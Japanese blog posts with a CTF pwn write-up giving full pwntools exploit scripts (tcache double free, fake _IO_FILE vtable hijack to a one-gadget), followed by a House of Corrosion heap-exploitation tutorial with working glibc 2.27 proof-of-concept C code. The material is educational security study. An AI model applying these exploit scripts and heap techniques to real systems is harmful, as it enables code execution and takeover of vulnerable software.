long として GOT のアドレスを書き込み
それを char* として読み出しすると、 libc関数のアドレスがリークできる
また delete する際には、値が pool に入っているもののみを char* 型としてfree()する + free() したあとも pool からその値が削除されないという仕様になっている
よって、アロケートしたchunkのアドレスをリークした後
long 型として chunk を複数アロケートして、リークしたアドレスの値を書き込み
それを delete することで容易にtcacheのdouble freeが起こる
尚、 libc は与えられていないが多分libc2.27だろうというメタ的推測をつけた (ha?)
(tcache の double free 検知は2.27にはない)
exploitは以下の通り
#!/usr/bin/env python #encoding: utf-8; from pwn import * import sys FILENAME = "./chall" rhp1 = {"host":"13.231.207.73","port": 9007} rhp2 = {'host':"localhost",'port':12300} context(os='linux',arch='amd64') binf = ELF(FILENAME) def hoge(conn,ix): conn.recvuntil("> ") conn.sendline(str(ix)) def _add(conn,ty,data): hoge(conn,1) conn.recvuntil(": ") conn.sendline(str(ty)) conn.recvuntil("Data: ") if ty==1 or ty==2: conn.sendline(str(data)) else: conn.send(data) def _get(conn,ix,ty): hoge(conn,2) conn.recvuntil("Index: ") conn.sendline(str(ix)) conn.recvuntil(": ") conn.sendline(str(ty)) conn.recvuntil("Data: ") return conn.recvline().rstrip() def _edit(conn,ix,ty,data): hoge(conn,3) conn.recvuntil("Index: ") conn.sendline(str(ix)) conn.recvuntil(": ") conn.sendline(str(ty)) conn.recvuntil("Data: ") if ty==1 or ty==2: conn.sendline(str(data)) else: conn.send(data) def _del(conn,ix): hoge(conn,4) conn.recvuntil("Index: ") conn.sendline(str(ix)) if "Success" not in conn.recvline(): raw_input("[!] delete failed. enter to continue:") else: print("[-]successfully deleted") off_puts = 0x809c0 off_strchr = 0x9d7c0 off_printf = 0x64e80 off_atol = 0x406a0 onegadgets = [0x4f2c5,0x4f322,0x10a38c] target = "puts" def exploit(conn): #leak libc _add(conn,3,"D"*8) print("[*]puts got: "+hex(binf.got[target])) _edit(conn,0,1,binf.got[target]) puts_addr = unpack(_get(conn,0,3).ljust(8,'\x00')) libcbase = puts_addr - off_puts one1 = libcbase + onegadgets[2] print("[+]puts: "+hex(puts_addr)) print("[+]libc base: "+hex(libcbase)) print("[+]onegadget: "+hex(one1)) #alloc chunk and avoid from freeing by changing the value different from the addr in the pool _add(conn,3,"A"*8) str_addr1 = int(_get(conn,1,1)) print("[+]addr: "+hex(str_addr1)) _edit(conn,1,1,0xdeadbeef) #double free the tcache _add(conn,1,str_addr1) _del(conn,2) _add(conn,1,str_addr1) _del(conn,2) #overwrite fd of tcache and write onegadget's addr on GOT of puts _add(conn,3,p64(binf.got["puts"])) _add(conn,3,p64(0xdeadbeef)) _add(conn,3,p64(one1)) if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ conn = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": conn = remote(rhp1["host"],rhp1["port"]) else: conn = remote(rhp2['host'],rhp2['port']) exploit(conn) conn.interactive()
結果
4: grimoire
セキュリティ機構とlibc ver
まず第一に filepath を書き換えることで任意ファイルの読み込みは可能である
但し、フラグファイル名の推測がつかないため、不採用
あー眠い
まず、 filepath が見当たらない際の error() に於いて FSA ができる
これによって、 textbase と libcbase の両方がリークできる
また、fp も自由に書き換えられるためfake _IO_FILE_plusを作る
但し libc 2.27 では _IO_vtable_check() が走ることに注意
今回は、 abortの際に _IO_str_jumps の中の _IO_str_overflow が呼ばれるようにvtableを書き換え
その中で呼ばれる _s._allocate_buffer で PC を取ることにした
但し、今回は運悪く movaps に引っかかったため
一度 call rsi gadget を挟んでおくことにした
rsi には _IO_write_baseだかendだかが入るため、ここに予めonegadgetの値を入れておく
結局攻撃のフローは以下のようになった
exploitは以下の通り
#!/usr/bin/env python #encoding: utf-8; from pwn import * import sys FILENAME = "./chall" rhp1 = {"host":"13.231.207.73","port":9008} rhp2 = {'host':"localhost",'port':12300} context(os='linux',arch='amd64') binf = ELF(FILENAME) def hoge(conn,ix): conn.recvuntil("> ") conn.sendline(str(ix)) def _open(conn): hoge(conn,1) def _read(conn): hoge(conn,2) conn.recvuntil("--*\n") return conn.recvuntil("*")[:-1] def _revise(conn,off,text): hoge(conn,3) conn.recvuntil("Offset: ") conn.sendline(str(off)) conn.recvuntil("Text: ") conn.send(text) def _close(conn): hoge(conn,4) original_len = 370 margin = 0x90-2 #オリジナルのtextの末尾とfpとのオフセット off_dlmap = 0x400031 off_grimoire_open = 0x1045 off_libc_scu_init = 0xab63d08690 off_libc_start_main231 = 0x21b97 off_main = 0x1478 ogs = [0x4f2c5,0x4f322,0x10a38c] def exploit(conn): #leak libcbase and textbase _open(conn) _read(conn) _revise(conn,370,"A"*margin) fp = unpack(_read(conn).split("A"*margin)[1].ljust(8,'\x00')) print("[*]fp: "+hex(fp)) ##make it possible to fopen with init==1 by forcing fp=0 _revise(conn,370,"A"*margin + p64(0) + "B"*0x18 + "%13$p:%14$p:%22$p\x00") _open(conn) #invoke error and do FSA data = conn.recvline().split(": No such")[0] textbase = int(data.split(":")[1],16) - off_grimoire_open libcbase = int(data.split(":")[2],16) - off_libc_start_main231 addr_text = textbase + 0x202060 print("[!]libcbase: "+hex(libcbase)) print("[!]textbase: "+hex(textbase)) print("[*]addr text: "+hex(addr_text)) #forged fake _IO_FILE_plus magic = 0x40 hoge = p64(0x0) #should be hoge += p64(0x000055ce789cf603) hoge += p64(0x000055ce789cf603) hoge += p64(0x0) hoge += p64(0x0) hoge += p64(libcbase + ogs[0]) #rdi hoge += p64(libcbase + ogs[0]) #rsi hoge += p64(0x0) #_IO_buf_base hoge += p64(0x700) #_IO_buf_end hoge += p64(0)*4 hoge += p64(libcbase + 0x3ec680) #chain hoge += p64(0x0000000000000005) hoge += p64(0)*2 hoge += p64(libcbase + 0x3ed8b0) hoge += p64(0x0000000000000173) hoge += p64(0) hoge += p64(libcbase + 0x3ed8b0) #lock hoge += p64(0)*6 hoge += p64(libcbase + 0x3e8340 + 0x28) #_IO_str_jumps with little zure hoge += p64(libcbase + 0x00022e91) #_s._allocate_buffer == call rsi gadget hoge += "A"*(0x200 - magic -len(hoge)) + p64(addr_text + magic) + p64(0)*3 + "grimoire.txt" _revise(conn,magic,hoge) raw_input() _close(conn) if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ conn = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": conn = remote(rhp1["host"],rhp1["port"]) else: conn = remote(rhp2['host'],rhp2['port']) exploit(conn) conn.interactive()
結果
5: babybof / protrude
チームの人が解いてくれました、凄い
6: syscall kit
解けなかった
気づきとしては
・brkは libc の wrapper じゃなくてシスコールの場合アドレスを返すということ
・xxx64 とか openat2 みたいな、seccompされてないしスコール使えないんかな
・send とか そのへん使えないんかな
・ソケット通信...?
バイナリ自体になんか欠陥があるだとか、C++固有のexploitだとかだったら、もう完敗。乾杯
7: wget
チームの人が、 location 2回書いて multiple free させて libc leakまではいった
けど、自分的にデバッグ環境整えるの面倒でやれなかった
8: meowmow
kernel問題解いたことなさ過ぎて、モジュールのソース軽く見ただけで、放置してた
grimoireでhardならmediumのこの問題、意外といけたのか???
9: Survey
ptr-yudai san, バケモンか???
10: アウトロ
pwn問題はとてもとても面白かったです
(全完勢がいたこととジャンルに偏りがあったのはご愛嬌)
時間内に解けなかったpwn問題は後で必ず全部解いて復習する
よくよく考えると
CTFに参加して、楽しい気分で終わったことがないな
問題解けた時のドーパミンは終了時までもたないし、最後は必ず解けてない問題を諦めて終わることになる
ということで、もうCTFはしません
続く
続かない
【pwn 21.0】House of Corrosion : 使えればいいじゃんな覚書
House of Corrosion / totally leakless exploit / global_max_fast / relative overwrite via fastbinsY / glibc2.27 / step by step heap-tech
- 0: 参考
- 1: イントロ
- 2: 概要
- 3: 3つのAdvantage
- 4: シェルを取るまでの概観
- 5: heapを整備する
- 6: largebinにchunkを繋げる
- 7: Unsortedbin attack で gmf を書き換える
- 8: Unsortedbinのbkを正常のchunkにする
- 9: vtableを始めとするストリームの改竄
- 10: assert()で発火させる
- 11: PoC
- 12: 結果
- 13: アウトロ
0: 参考
【A】 本家
【B】ptr-yudaiさんの日本語解説記事
【C】FileExploitationについて
1: イントロ
House of Corrosion (以下HoC)は2019年1月25日に CptGibbon 氏によって発表された heap exploitation 手法である
自分の確認できる範囲で解説記事は
【A】本家の詳細な解説英語記事
【B】ptr-yudaiさんのCTF形式のPoC付き日本語解説記事
の2つだけであった
本エントリではhow2heap形式のPoCを軸として解説を進めていく
尚、本エントリは _int_malloc()/ _int_free()/ malloc_consolidation()/ unlink 等のmalloc.cの内容をを理解していることを前提としている
2: 概要
HoC でできることを概観する
できること
- Advantage1: 任意の8byte-aligned高位アドレスに巨大な値を書き込む
- Advantage2: 任意の8byte-aligned高位アドレスに任意の値を書き込む
- Advantage3: 任意の8byte-aligned高位アドレスにある値を任意の8byte-aligned高位アドレスに対して書き写す
- これらの書き込み/読み込みを、オフセットのみ既知のlibcシンボルに対して行うことができる
- 以上を踏まえて、一切のアドレスリーク無しに4bit-bruteforceのみでシェルを取ること
制約
- UAFがあること
- 任意サイズのmallc()が任意回数行えること
やはり一番の特徴はアドレスリークが不要なことであろう
詳しくは後述するが、これは main_arena中のfastbinsY を中心にしてexploitをするから可能なことである
尚これも理由は後述するが、 ここでいう「高位(higher)」アドレスとは fastbinsY よりも高位のアドレスを意味する
3: 3つのAdvantage
HoC では1つの準備によって3つの利点が生じる
以下ではその準備と、3つの利点をPoC付きで説明していく
準備
fastbins に入る最大サイズは global_max_fast (以下gmf) の値によって決まる (デフォルトで 0x80)
このsize以下で tcaching されないchunkは、free()されると main_arena 中の fastbinsY (type: mfastbinptr (*)[10]) に格納されることになる
fastbinsY にはsize:0x20以上のエントリが0x10byte毎に格納される
FIFO方式であるから、free()されると該当のfastbinsYエントリにはfreeした chunk のアドレスが、freeしたchunkの fd にはfastbinsYのアドレスが書き込まれることになる
https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L4231
HoC ではこのgmfを大きな値に書き換えることによって、任意sizeのchunkをこのfastbinsに入れられるようにすることを準備とする
gmf 書き換えには unsortedbin attack を用いる
ただの unsortedbin attack ゆえ、以下で軽く説明するだけに留める
free() 時に gmf 以上のsizeをもつ chunk は unsortedbin に繋がれる
この unsortedbin は main_arena->bins (type: (mchunkptr ()[254])*) の [0,1] に実体を持ち、main_arenaの先頭からのオフセットは0x70である
よって freed chunk の bk には main_arena+0x70のアドレスが入ることになる
このアドレスと gmf は下4nibbleを除いて同じである
また、libcbaseの下3nibbleは必ず0x000であるためこれは既知の値となる
故にgmfのアドレスは第4nibble目の 4bit のエントロピーを持ち、十分にunsortedbin attackでbruteforce可能であると言える
即ち、 main_arena+0x70 の下2byte(内4nibble目は総当り) を書き換えることで、次のmalloc()時に凡そ1/16の確率で gmf を main_arena+0x70の値で上書きすることができる
以上を unsortedbin attack の説明とする
Advantage1: 任意の8byte-aligned高位アドレスに巨大な値を書き込む
これで fastbins に任意サイズのchunkが入るようになった
上に述べたような fastbinsY へのアドレスの書き込みによって、任意の8byte-alignedアドレスに巨大な値(heapのアドレス)を書き込めるようになることが分かるであろう
その際には、目的のアドレスに書き込まれるように malloc() するサイズを調整しなければならないのだが
これは以下の公式で計算できる
ここで distance は mfastbinsY と 目的のアドレスのオフセットである
さて、このAdvantage1の PoC が以下である
尚、本来この unsortedbin attacok は4bitのエントロピーを持つのだが
いちいち try&error をするのが面倒なため、PoCでは予め用意したアドレスをもとに100%成功するようにしている
本エントリの目的がHoCを理解することであるため、煩わしい部分は省略していく
但し、DEBUGマクロを外すことで実際のシチュエーションと同じようにアドレス未知の状態で実行できるようにもしている
//Advantage1: Write a huge value to almost arbitrary 8byte-aligned higher addr #include<stdio.h> #include<unistd.h> #include<stdlib.h> #include<string.h> typedef unsigned long long ull; #define DEBUG 0 #define WAIT while(fgetc(stdin)!='\n'); ull *LSBs_gmf = 0x6940; //LSByte of global_max_fast. Third nibble has 4bit entropy ull *off_gmf_libcbase = 0x3ed940; //offset between global_max_fast & libcbase ull *off_stdout_libcbase = 0x3ec760; //offset between stdout & libcbase ull *off_arena_libcbase = 0x3ebc40; //offset between main_arena & libcbase unsigned size_formula(unsigned long delta){ return (unsigned)(delta*2 + 0x20); } int main(int argc, char *argv[]) { WAIT // calc and get some addrs char num; ull *addr_stdout = stdout; ull *libcbase = (ull)addr_stdout - (ull)off_stdout_libcbase; ull *addr_gmf = (ull)off_gmf_libcbase + (ull)libcbase; ull *addr_main_arena = (ull)libcbase + (ull)off_arena_libcbase; ull *addr_fastbinY = (ull)addr_main_arena + 0x10; ull size_stderr = size_formula((ull)stderr - (ull)addr_fastbinY - 0x8); ull *attack; ull *target = 0; ull temp; ull *temp_ptrs[10]; printf("Advantage 1\n"); printf("_________________________\n\n"); printf("* unsortedbin attack *\n"); printf("[+]&global_max_fast: %p\n",addr_gmf); // alloc some chunks (0x30 for avoiding consolidation) unsigned long *a = malloc(0x450); //for unsortedbin attack malloc(0x30); unsigned long *a2 = malloc(0x450); malloc(0x30); unsigned long *a3 = malloc(0x450); malloc(0x30); // prepare for Advantage 1 printf("[+]global_max_fast: 0x%llx\n",*addr_gmf); attack = malloc(size_stderr); free(a); //connect to unsortedbin //overwrite the 2nibble of unsortedbin's bk with global_max_fast's address #ifndef DEBUG for(int ix=0;ix!=2;++ix){ //victim->bk temp = (unsigned long long)LSBs_gmf >> (8*ix); num = temp % 0x100; if(ix==0) num -= 0x10; *(char*)((unsigned long long)a+8+ix) = num; } #else for(int ix=0;ix!=8;++ix){ //cheat for the simplicity temp = (ull)addr_gmf >> (8*ix); num = temp % 0x100; if(ix==0) num -= 0x10; *(char*)((ull)a+8+ix) = num; } #endif //unsorted bin attack: printf("[*]unsortedbin attack...\n"); malloc(0x450); printf("[+]global_max_fast: 0x%llx\n",*addr_gmf); //check whether the unsorted attack is success or not if(*addr_gmf != (ull)addr_main_arena+0x60){ printf("\n\n[-]FAIL: unsortedbin attack\n"); exit(0); }else{ printf("\n[!]SUCCESS: unsortedbin attack\n"); } /**Advantage 1: Overwrite almost arbitrary addr with chunk addr**/ printf("\n* Advantage 1 *\n"); printf("[+]Target address: %p (stderr)\n",stderr); printf("[+]stderr: %llx\n",*(ull*)stderr); if((ull)size_stderr <= 0x408){ // if the size is small enough for tcaching for(int ix=0;ix!=7;++ix){ //consume tcache temp_ptrs[ix] = malloc(size_stderr); } for(int ix=0;ix!=7;++ix){ free(temp_ptrs[size_stderr]); } } printf("[*]attack...\n"); free(attack); printf("[!]stderr: %llx\n",*(ull*)stderr); printf("\n\nCan you understand? Debug by yourself now.\n"); //debugging time WAIT return 0; }
今回は target を stderr とした
実行すると以下のようになる
stderr が heap のアドレスで上書きされていることが分かるであろう
Advantage2: 任意の8byte-aligned高位アドレスに任意の値を書き込む
Advantage1では書き込める値が heap のアドレスに限定されていたが
freed chunk の fd をUAF等を利用して任意の値に書き変え
その後でもう一度同じサイズのmalloc()をすることで、下図のように任意の値をtargetに書き込めるようになる
以下のPoCでは、 target を stderr 、書き込む値を0xDEADBEEFCAFEBABEとしている
//Advantage2: Write arbitrary value to almost arbitrary 8byte-aligned higher addr #include<stdio.h> #include<unistd.h> #include<stdlib.h> #include<string.h> typedef unsigned long long ull; #define DEBUG 0 #define WAIT while(fgetc(stdin)!='\n'); ull *LSBs_gmf = 0x6940; //LSByte of global_max_fast. Third nibble has 4bit entropy ull *off_gmf_libcbase = 0x3ed940; //offset between global_max_fast & libcbase ull *off_stdout_libcbase = 0x3ec760; //offset between stdout & libcbase ull *off_arena_libcbase = 0x3ebc40; //offset between main_arena & libcbase unsigned size_formula(unsigned long delta){ return (unsigned)(delta*2 + 0x20); } int main(int argc, char *argv[]) { WAIT // calc and get some addrs char num; ull *addr_stdout = stdout; ull *libcbase = (ull)addr_stdout - (ull)off_stdout_libcbase; ull *addr_gmf = (ull)off_gmf_libcbase + (ull)libcbase; ull *addr_main_arena = (ull)libcbase + (ull)off_arena_libcbase; ull *addr_fastbinY = (ull)addr_main_arena + 0x10; ull size_stderr = size_formula((ull)stderr - (ull)addr_fastbinY - 0x8); ull *attack; ull *target = 0; ull temp; ull *temp_ptrs[10]; printf("Advantage 2\n"); printf("_________________________\n\n"); printf("* unsortedbin attack *\n"); printf("[+]&global_max_fast: %p\n",addr_gmf); // alloc some chunks (0x30 for avoiding consolidation) unsigned long *a = malloc(0x450); //for unsortedbin attack malloc(0x30); unsigned long *a2 = malloc(0x450); malloc(0x30); unsigned long *a3 = malloc(0x450); malloc(0x30); // prepare for Advantage 1 printf("[+]global_max_fast: 0x%llx\n",*addr_gmf); attack = malloc(size_stderr); free(a); //connect to unsortedbin //overwrite the 2nibble of unsortedbin's bk with global_max_fast's address #ifndef DEBUG for(int ix=0;ix!=2;++ix){ //victim->bk temp = (unsigned long long)LSBs_gmf >> (8*ix); num = temp % 0x100; if(ix==0) num -= 0x10; *(char*)((unsigned long long)a+8+ix) = num; } #else for(int ix=0;ix!=8;++ix){ //cheat for the simplicity temp = (ull)addr_gmf >> (8*ix); num = temp % 0x100; if(ix==0) num -= 0x10; *(char*)((ull)a+8+ix) = num; } #endif //unsorted bin attack: printf("[*]unsortedbin attack...\n"); malloc(0x450); printf("[+]global_max_fast: 0x%llx\n",*addr_gmf); //check whether the unsorted attack is success or not if(*addr_gmf != (ull)addr_main_arena+0x60){ printf("\n\n[-]FAIL: unsortedbin attack\n"); exit(0); }else{ printf("\n[!]SUCCESS: unsortedbin attack\n"); } /**Advantage 2: Overwrite almost arbitrary addr with arbitrary addr**/ printf("\n* Advantage 2 *\n"); printf("[+]Target address: %p (stderr)\n",stderr); printf("[+]stderr: %llx\n",*(ull*)stderr); if((ull)size_stderr <= 0x408){ // if the size is small enough for tcaching for(int ix=0;ix!=7;++ix){ //consume tcache temp_ptrs[ix] = malloc(size_stderr); } for(int ix=0;ix!=7;++ix){ free(temp_ptrs[size_stderr]); } } printf("[*]attack1...\n"); free(attack); printf("[!]stderr: %llx\n",*(ull*)stderr); printf("[*]attack2...\n"); attack[0] = 0xdeadbeefcafebabe; malloc(size_stderr); printf("[!]stderr: %llx\n",*(ull*)stderr); printf("\n\nCan you understand? Debug by yourself now.\n"); //debugging time WAIT return 0; }
実行すると以下のようになる
stderr が0xDEADBEEFCAFEBABEで書き換えられていることが分かるであろう
Advantage3: 任意の8byte-aligned高位アドレスの値を任意の8byte-aligned高位アドレスに書き写す
Advantage3では任意のアドレスから値を任意のアドレスに対して書き写す(transplantation)ができる
ここでは値を持ってくるアドレスを SRC, そこにある値を VALUE, 値を書き込む先のアドレスを DSTとする
まずAdvantage1 でDST に入るようなサイズの2つのchunk A,Bを用意する
ここでA,Bは下位1byteを除いて同じアドレスに位置するくらい近くに置かなくてはならない
但しAdv1で使うサイズは通常非常に大きく、普通にmallocをしてもそんなに近くは配置されないため
予めoverlapped chunk/UAF等を利用してA/Bを隣接させておく必要がある
その上で B->A の順にfree()をして fake fastbins に繋ぐ
この時点では A の fd には B のアドレスが入っている
UAF等を利用してAの fd の下1byteのみを書き換えて、下図のようなAのみの循環リストを作る
(前述したように下1byteのみならばエントロピーは0である)
この状態でもう一度 DST サイズのmallocをしてAを取得する
ここでoverlapped chunkを利用してAのサイズを SRC のサイズに書き換える
(ここで使用するoverlapped chunkは後述するようにA/Bを近くに置く過程で自動的に手に入る)
この状態で A をfreeするとAは SRC に繋がるため、Aの fd には VALUE が書き込まれる
この上でもう一度 DST のサイズでmallocすると、 DST には fd として VALUE が書き込まれることが分かるであろう
以上のように値の transplantation を行うことができる
更に、Aに VALUE が書き込まれている状態(画像の2枚目の状態)でUAF等を用いて VALUE の一部を書き換えることで
ある値を一部分だけ変更して移植することもできる
これを tamper in flight と呼ぶ
使い方としては、libcの既知のアドレスが格納されているアドレスから値を持ってきて、その下位1byteを書き換えることで任意のアドレスに目的のlibcシンボルのアドレスを書き込むと行ったことが考えられる
(実際にこの手法は以下で説明するシェルを取る方法で使われている)
PoCは以下の通り
SRC を stderr (Adv2で0xDEADBEEFCAFEBABEを書き込んでいる)、 DSTを stderr+0x60 としている
overlapped chunkを作る作業はマクロ化している
//Advantage3: Transplant value from almost arbitrary higher addr from almost arbitrary higher addr #include<stdio.h> #include<unistd.h> #include<stdlib.h> #include<string.h> #include<assert.h> #define ull unsigned long long #define DEBUG 0 #define WAIT while(fgetc(stdin)!='\n'); //A and tmp1 should be the same except for LSByte #define GET_CLOSE_CHUNK(A,B,tmp1,tmp2,sz,LSB_A,padd_size)\ malloc(padd_size);\ tmp1 = malloc(0x50);\ A = malloc(0x20);\ B = malloc(0x20);\ tmp2 = malloc(0x50);\ assert(((unsigned long)tmp1&0xff)<((unsigned long)A&0xff) && ((unsigned long)tmp1&0xff)<0xa0);\ free(tmp1);\ free(tmp2);\ ((char*)tmp2)[0] = LSB_A;\ tmp2 = malloc(0x50);\ tmp1 = malloc(0x50);\ printf("[-]A: %p\n",A);\ printf("[-]B: %p\n",B);\ printf("[-]tmp1: %p\n",tmp1);\ printf("[-]tmp2: %p\n",tmp2);\ tmp1[1] = (sz+0x10)|1;\ tmp1[6] = 0;\ tmp1[7] = (sz+0x10)|1; ull *LSBs_gmf = 0x6940; //LSByte of global_max_fast. Third nibble has 4bit entropy ull *off_gmf_libcbase = 0x3ed940; //offset between global_max_fast & libcbase ull *off_stdout_libcbase = 0x3ec760; //offset between stdout & libcbase ull *off_arena_libcbase = 0x3ebc40; //offset between main_arena & libcbase unsigned size_formula(unsigned long delta){ return (unsigned)(delta*2 + 0x20); } int main(int argc, char *argv[]) { WAIT // calc and get some addrs char num; ull *addr_stdout = stdout; ull *libcbase = (ull)addr_stdout - (ull)off_stdout_libcbase; ull *addr_gmf = (ull)off_gmf_libcbase + (ull)libcbase; ull *addr_main_arena = (ull)libcbase + (ull)off_arena_libcbase; ull *addr_fastbinY = (ull)addr_main_arena + 0x10; ull size_stderr = size_formula((ull)stderr - (ull)addr_fastbinY - 0x8); //SRC ull size_stderr0x60 = size_formula((ull)stderr - (ull)addr_fastbinY - 0x8 + 0x60); //TARGET ull *attack,*A,*B,*tmp1,*tmp2,*padd, *chunk_fake_size; ull *target = 0; ull temp; ull *temp_ptrs[10]; printf("Advantage 3\n"); printf("_________________________\n\n"); printf("* unsortedbin attack *\n"); printf("[+]&global_max_fast: %p\n",addr_gmf); // alloc some chunks (0x30 for avoiding consolidation) unsigned long *a = malloc(0x450); //for unsortedbin attack malloc(0x30); unsigned long *a2 = malloc(0x450); malloc(0x30); unsigned long *a3 = malloc(0x450); malloc(0x30); // prepare for preparation printf("[+]global_max_fast: 0x%llx\n",*addr_gmf); attack = malloc(size_stderr); // prepare for Advantage 3 GET_CLOSE_CHUNK(A,B,tmp1,tmp2,size_stderr0x60,0x70,0x30); //LSBytes sensitive!! chunk_fake_size = malloc(size_stderr0x60 + 0x100); //make fake size for fake fastbin's next chunk for(int ix=0;ix!=(size_stderr0x60+0x100)/0x10;++ix){ *(chunk_fake_size+0+ix*2) = 0x0; *(chunk_fake_size+1+ix*2) = 0x30|1; } //free and UAF free(a); //connect to unsortedbin //overwrite the 2nibble of unsortedbin's bk with global_max_fast's address #ifndef DEBUG for(int ix=0;ix!=2;++ix){ //victim->bk temp = (unsigned long long)LSBs_gmf >> (8*ix); num = temp % 0x100; if(ix==0) num -= 0x10; *(char*)((unsigned long long)a+8+ix) = num; } #else for(int ix=0;ix!=8;++ix){ //cheat for the simplicity temp = (ull)addr_gmf >> (8*ix); num = temp % 0x100; if(ix==0) num -= 0x10; *(char*)((ull)a+8+ix) = num; } #endif //unsorted bin attack: printf("[*]unsortedbin attack...\n"); malloc(0x450); printf("[+]global_max_fast: 0x%llx\n",*addr_gmf); //check whether the unsorted attack is success or not if(*addr_gmf != (ull)addr_main_arena+0x60){ printf("\n\n[-]FAIL: unsortedbin attack\n"); exit(0); }else{ printf("\n[!]SUCCESS: unsortedbin attack\n"); } /**Advantage 2: Overwrite almost arbitrary addr with arbitrary addr**/ printf("\n* Advantage 2 *\n"); printf("[+]Target address: %p (stderr)\n",stderr); printf("[+]stderr: %llx\n",*(ull*)stderr); if((ull)size_stderr <= 0x408){ // if the size is small enough for tcaching for(int ix=0;ix!=7;++ix){ //consume tcache temp_ptrs[ix] = malloc(size_stderr); } for(int ix=0;ix!=7;++ix){ free(temp_ptrs[size_stderr]); } } printf("[*]attack1...\n"); free(attack); printf("[!]stderr: %llx\n",*(ull*)stderr); printf("[*]attack2...\n"); attack[0] = 0xdeadbeefcafebabe; malloc(size_stderr); printf("[!]stderr: %llx\n",*(ull*)stderr); /**Advantage 3: Transplant the value**/ printf("\n* Advantage 3 *\n"); printf("[+]Target addr where transplant from stderr: %p\n",(ull*)((ull)stderr+0x60)); printf("[+]Target's value: 0x%llx\n",*(ull*)((ull)stderr+0x60)); free(B); free(A); ((char*)A)[0] = 0x70; //overwrite fd's LSByte WAIT A = malloc(size_stderr0x60); tmp1[1] = (0x10 + size_stderr)|1; //overwrite A' sz to src(fastbin of B) free(A); tmp1[1] = (0x10 + size_stderr0x60)|1; //to avoid error when malloc printf("[*]attack...\n"); malloc(size_stderr0x60); printf("[!]Target's value: 0x%llx\n",*(ull*)((ull)stderr+0x60)); printf("\n\nCan you understand? Debug by yourself now.\n"); //debugging time WAIT return 0; }
実行すると以下のように stderr+0x60 に VALUE が書き込まれていることが分かるであろう
4: シェルを取るまでの概観
以上の3つのAdvantageを組み合わせるとシェルを取ることができる
しかも大きな特徴として
尚自分自身、heap関係はようやく最近入門したと言ってもいいくらいには理解してきたのだが、ファイルストリーム系に関してはまだまだ理解が甘い部分が多いため
間違ったことを述べないよう本エントリではその辺はざっくりとした説明のみを行う
詳細は参考【B】【C】を見ていただきたい
なお近日中にFileExploitationについては整理したエントリを書くつもりである
シェルを取るまでの概略は以下の通り
- heapを整備する
- global_max_fast を書き換える (unsortedbin attack)
- stderr を改竄する (とりわけ vtable を書き換え _IO_str_overflow() が呼ばれるようにし、その中での *((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); で onegadgetが呼ばれるようにする
- _int_malloc() の largebins の処理の最中に assert() を呼ばせ、stderrを動かすことで改竄した vtable を使わせる
以下では各ステップをPoCと共に説明する
尚、HoCは出力系が一切なくアドレスリークも無い時に真価を発揮するのだが
本PoCでは便宜上出力系は途中まで生かしておく
(それでも途中でvtableを書き換え、mode=1とするため出力できなくなるのだが)
参考【A】【B】と違い、 how2heap形式での説明を行っている
また順序構成は本家とは変えており、 "Heap Feng Shui" についてはその名前を出さずに説明を行っている
5: heapを整備する
本exploitはその最中に大量の memory corruption を作り出すため、最初にheapがきれいな状態でheapを整備しておく必要がある
各々の操作の詳しい説明は後で必要になった時に説明することとして
取り敢えずやっておくべき処理は以下のとおりである
largebinに繋ぐ用のchunkを作る
後々 largebin に繋がるように、1024byte 以上の chunk を作っておく
このchunkはこの後 largebin に繋いだ後、 NON_MAINARENAフラグを立てる
すると int_malloc() の処理で assert() が呼ばれることになる(これは最終ステージで使う)
尚、 largebin 相当のサイズの chunk が unsortedbin に繋がった後それ以上のサイズのmalloc()が行われたときのみ largebin に繋がれることに注意
printf("* Preparing for some chunks ...*\n"); ull *padding = malloc(0x20); ull *largebin = malloc(0x450); //for largebin chunk with NON_MAINARENA which would cause assert() later
global_max_fast を書き換えるための unsortebin attack 用のchunkを作る
HoC の一番とっかかりである gmf の書き換えをする unsortedbin attack 用のchunkを作っておく
書き換え前の global_max_fast よりも小さい値 (<0x80) ならば何でもOK
但し、途中でconsolidationされないように、間に chunk を挟んでおくなどする必要がある
ull *a = malloc(0x450); //for unsortedbin attack targeting at global_max_fast
overlapped chunkとfake sizeを作る
stderrの_IO_buf_endと stderrの_allocate_bufferを書き換えるためにAdv3を使うのだが、そこで必要となる overlapped chunk を用意しておく
これは単純作業のためマクロ化している
また、Adv3では chunk(A) のサイズを書き換えることで値の transplantation を行うのであったが、 このサイズの書き換えをした上で malloc/free をしても怒られないように
続く領域を fake size で埋めておく (sizeはMIN_SIZE以上システムメモリサイズ以下ならば何でも良い)
尚この際に A の fd を自分自身を指すように書き換えなければならないため
Aが配置されるアドレスの下1byteは事前に調べておき、動くことのないようにしておく必要がある (やはり前述したように heap の下3nibbleは固定であるため、個々で調べた値は変更を加えない限り何回プログラムを動かしても同じである)
// Prepare for Advantage 3 /* LSB SENSITIVE !!! */ GET_CLOSE_CHUNK(A1,B1,tmp11,tmp21,size_stderr_IO_buf_end,0x50,0x90); GET_CLOSE_CHUNK(A2,B2,tmp21,tmp22,size_stderr_s_alloc,0x90,0x0); chunk_fake_size = malloc(sz1 + 0x100); //make fake size for fake fastbin's next chunk for(int ix=0;ix!=(sz1+0x100)/0x10;++ix){ *(chunk_fake_size+0+ix*2) = 0x0; *(chunk_fake_size+1+ix*2) = 0x30|1; }
Adv2用のchunkを作る
Adv2による任意値の書き込みに使う用のchunkを大量に作っておく
数が多いだけで、全て fastbinsY と target のオフセットをサイズ公式に入れた値分だけmalloc()しているだけである
//Malloc chunks for Advantage2 dumped_main_arena_end_chunk = malloc(size_dumped_main_arena_end); pedantic_chunk = malloc(size_formula(0x1cf8)-0x8); stderr_mode_chunk = malloc(size_stderr_mode); stderr_flags_chunk = malloc(size_stderr_flags); stderr_IO_write_ptr_chunk = malloc(size_stderr_IO_write_ptr); stderr_IO_buf_base_chunk = malloc(size_stderr_IO_buf_base); stderr_vtable_chunk = malloc(size_stderr_vtable); stdout_mode_chunk = malloc(size_stdout_mode);
6: largebinにchunkを繋げる
最終フェーズで assert() を呼ぶだめに必要な largebin に先程用意したchunkを繋げる
free() 後に malloc() する chunk は largebin 用の chunk よりも大きなサイズでないとunsortedbin が分割されそこから取得されてしまうので注意
その後UAF等を用いて NON_MAINARENA を立てる
